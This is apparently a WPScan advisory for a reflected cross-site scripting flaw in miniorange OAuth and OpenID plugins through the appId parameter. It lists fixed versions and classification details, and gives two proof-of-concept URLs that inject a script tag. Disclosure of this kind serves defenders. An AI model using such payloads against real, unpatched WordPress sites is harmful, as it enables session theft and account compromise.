Multiple Plugins from miniorange – Reflected Cross-Site Scripting via appId

Description

The plugins do not escape the appId parameter before outputting it back in an attribute, leading to a Reflected Cross-Site Scripting issue

Proof of Concept

https://example.com/wp-admin/admin.php?page=mo_oauth_settings&tab=config&appId="><script>alert(/XSS/)</script>
https://example.com/wp-admin/admin.php?page=mo_oauth_settings&tab=config&action=instructions&appId="><script>alert(%2FXSS%2F)<%2Fscript>

Affects Plugins

miniorange-login-with-eve-online-google-facebook

Fixed in 6.20.3

Fixed in 1.4.5

miniorange-openid-connect-client

Fixed in 2.1.5

Fixed in 1.4.4

Classification

Type

XSS

OWASP top 10

A7: Cross-Site Scripting (XSS)

CWE

CWE-79

CVSS

8.8 (high)

Miscellaneous

Original Researcher

WPScanTeam

Verified

Yes

WPVDB ID

4f3b4015-2a2f-4c74-a0b9-36c5ba25134c

Timeline

Publicly Published

2021-08-30 (about 4 years ago)

Added

2021-08-30 (about 4 years ago)

Last Updated

2021-08-30 (about 4 years ago)

Other

Published

Title

Published

2024-11-04

Title

Forms: 3rd-Party Post Again <= 0.3 - Reflected Cross-Site Scripting

Published

2021-11-15

Title

ProfilePress < 3.2.3 - Reflected Cross-Site Scripting

Published

2024-12-11

Title

Published

2023-11-15

Title

BMI Calculator Plugin <= 1.0.3 - Authenticated (Contributor+) Stored Cross-Site Scripting

Published

2024-07-11

Title

Download Button for Elementor <= 1.2.1 - Authenticated (Contributor+) Stored Cross-Site Scripting